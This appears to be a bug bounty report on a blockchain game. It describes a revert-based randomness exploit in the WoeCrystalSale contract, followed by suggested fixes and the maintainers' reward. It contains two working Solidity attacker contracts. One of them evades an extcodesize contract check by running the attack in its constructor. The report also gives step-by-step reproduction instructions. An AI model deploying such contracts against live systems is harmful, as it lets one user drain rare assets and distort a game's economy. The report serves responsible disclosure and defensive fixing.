Crystal Sale Randomness Exploit - Malicious User Can Guarantee Rare Crystal Purchase

[ImAllInNow]

Describe the bug
Due to the use of single-transaction random number generation in WoeRandom and WoeCrystalSale to determine which crystal is awarded to the buyer, a malicious user could guarantee that they get a rare crystal by using an intermediary crystal-buying contract.

Scenario
This exploit occurs if a malicious user creates a CrystalBuying contract and uses that contract to make a purchase of a crystal, check which crystal they received, and revert the transaction if that crystal is not rare enough (for example: not an Astral or Death crystal). Sample contract code is as follows:

import "./WoeCrystalSale.sol";
import "./WoeCrystal.sol";
import "./Ownable.sol";
 
contract CrystalBuyer is Ownable {
    WoeCrystalSale private saleContract;
    WoeCrystal private astralCrystalContract;
    WoeCrystal private deathCrystalContract;
    
    constructor() public {
        saleContract = WoeCrystalSale(0x6aD4e0d97c76b3807B19e9e37d753cbB248cddb0);
        astralCrystalContract = WoeCrystal(0x587d6096724dFFdC6cBa081a5Ba5E3Cb06F068C2);
        deathCrystalContract = WoeCrystal(0x0A784DC442333390C85b3ee375a071fC4Eb80d48);
    }
    
    function buy() public payable onlyOwner {
        saleContract.purchaseRandomCrystal.value(msg.value)();

        uint astralBalance = astralCrystalContract.balanceOf(address(this));
        uint deathBalance = deathCrystalContract.balanceOf(address(this));
        if (astralBalance > 0) {
            astralCrystalContract.transfer(msg.sender, astralBalance);
        } else if (deathBalance > 0) {
            deathCrystalContract.transfer(msg.sender, deathBalance);
        } else {
            revert();
        }
    }
}

Expected behavior
Expected behavior is that this type of exploit is not allowed and that calls to purchaseRandomCrystal() cannot revert if they receive a bad result from the random number generation.

Impact
This vulnerability has extremely high impact. A malicious user could make numerous transactions to the buying contract, revert all low rarity crystal purchases, and only accept the high rarity ones. The reverted transactions would only cost the gas fee. If the rare crystals were selling for, say, 5 times as much as the random purchase costs (probably would be higher cost if game was going strong), this user could sell these crystals off for a substantial profit and repeat until the market is flooded with rare crystals. This would result in the entire game's economy and gameplay being severely impacted.

Reproduction

1. Create the CrystalBuyer contract as described above.
2. Submit the contract to the blockchain with the correct Crystal and CrystalSale contract addresses.
3. Call the buy() function with enough ETH to make one purchaseRandomCrystal() call.
4. Repeat step 3 numerous times (probably with an automated program to submit numerous transactions).
5. Notice, as in this transaction below, that the function call correctly processes a Death crystal purchase.
   Exploit Transaction 1
   Notice, as in this transaction below, that the function call reverts if it doesn't get an Astral or Death crystal.
   Exploit Transaction 2

Fix:
This is a somewhat complex problem to handle with a couple different potential approaches.

• Some have used require(!isContract()) which checks if msg.sender's address contains any code (FOMO3D did this). Code is roughly as follows:

function isContract(address _addr) private returns (bool) {
  uint32 size;
  assembly {
    size := extcodesize(_addr)
  }
  return (size > 0);
}

This works for contract function calls as in the CrystalBuyer contract above, but it fails to find function calls that occur in a contract's constructor, because while a constructor is processing, the contract's address has no code, yet. A CrystalBuyerConstructor contract could be coded as below, which gets around the check for code size.
Example successful contract creation transaction:
Exploit Transaction 3

contract CrystalBuyerConstructor {
    constructor() public payable {
        WoeCrystalSale saleContract = WoeCrystalSale(0x6aD4e0d97c76b3807B19e9e37d753cbB248cddb0);
        WoeCrystal astralCrystalContract = WoeCrystal(0x587d6096724dFFdC6cBa081a5Ba5E3Cb06F068C2);
        WoeCrystal deathCrystalContract = WoeCrystal(0x0A784DC442333390C85b3ee375a071fC4Eb80d48);
        
        saleContract.purchaseRandomCrystal.value(msg.value)();

        uint astralBalance = astralCrystalContract.balanceOf(address(this));
        uint deathBalance = deathCrystalContract.balanceOf(address(this));
        if (astralBalance > 0) {
            astralCrystalContract.transfer(msg.sender, astralBalance);
            selfdestruct(msg.sender);
        } else if (deathBalance > 0) {
            deathCrystalContract.transfer(msg.sender, deathBalance);
            selfdestruct(msg.sender);
        } else {
            revert();
        }
    }
}

• Another option is to require that msg.sender == tx.origin. This disallows the function call from being called by a contract since tx.origin is the originator of the transaction (never a contract) where msg.sender is the most recent caller of the current function (can be a contract). If these are the same, than it can be guaranteed that the originator of the transaction called the function directly. This will only be a valid solution until Ethereum moves to having all addresses be contracts in Serenity.

• The most robust option, and heaviest lift, would require a different way of doing randomness for crystal purchasing. Using a two-transaction approach where the first transaction makes the purchase and the second transaction reveals the random number and gives the user the crystals would prevent a contract from checking what the random number was before finishing the execution. This type of random number generation is usually referred to as commit-reveal. Transaction 1 commits to purchasing the crystal but doesn't let the caller know what crystal it will be yet. Transaction 2 reveals the randomness in such a way that no matter when transaction 2 occurs, the value will always be the same. This way the transaction can't be reverted if the result is undesirable and the purchase has already been made so there's no reason not to take whatever crystal is revealed.

  These two-transaction randomness calls could use the current block's hash (which is constant, but unknown until after the block is mined) as a source of randomness for the reveal transaction. There is a caveat to that where you can only check block hashes of the most recent 256 blocks and after that, the hash is returned as 0, so that does put a time limit on how long the user has to make their reveal transaction (about 1 hour at 15 second block times).

  The downside of commit-reveal is that the UX is somewhat bad because the user is required to send 2 transactions rather than just one. There could be a UX solution such as showing that they have an "unknown" crystal that needs to be cracked open. The cost of these crystals could be reduced slightly to help users pay for the second transaction's gas.

• Oraclize is one potential solution that is similar to the two transaction approach the user's purchase transaction sends to oraclize and a _callback() function is called from Oraclize at a later block when the random number is found and some method needs to properly link that callback to the original purchase. There are costs associated with this however that either the user or WOE would have to absorb.

• I haven't investigated it fully, but maybe there is some way to require that only enough gas to run the purchaseRandomCrystal() function is sent in the transaction. Maybe this could deny users from using additional code outside the purchase function since that code would require more gas to execute. There would be some finagling since adding the check for how much gas is sent would slightly increase the amount of gas actually needed. Some initial searching reveals that this functionality doesn't currently exist in the EVM and would require an EIP (which this situation might qualify).

Additional context
This is by far the most serious issue I have found, so I hope I have helped in finding a solution before release.

Ethereum Address
0x2E8C031326adb555c3532510De3297c143e56839

[iambryanwho]

Thanks @ImAllInNow for your submission. This is a great find and we will be testing some of your solutions

Stay tuned for your score, reward, and the final leaderboard when the bounty concludes 9/11/18 11 PM EST

[iambryanwho]

Thanks for your participation! Our team has reviewed your submission, and we are pleased to reward you for your report.

Impact: Medium

Likelihood: High

Points: 1000
Extra Bonus: 1000

Please see the final Leaderboard here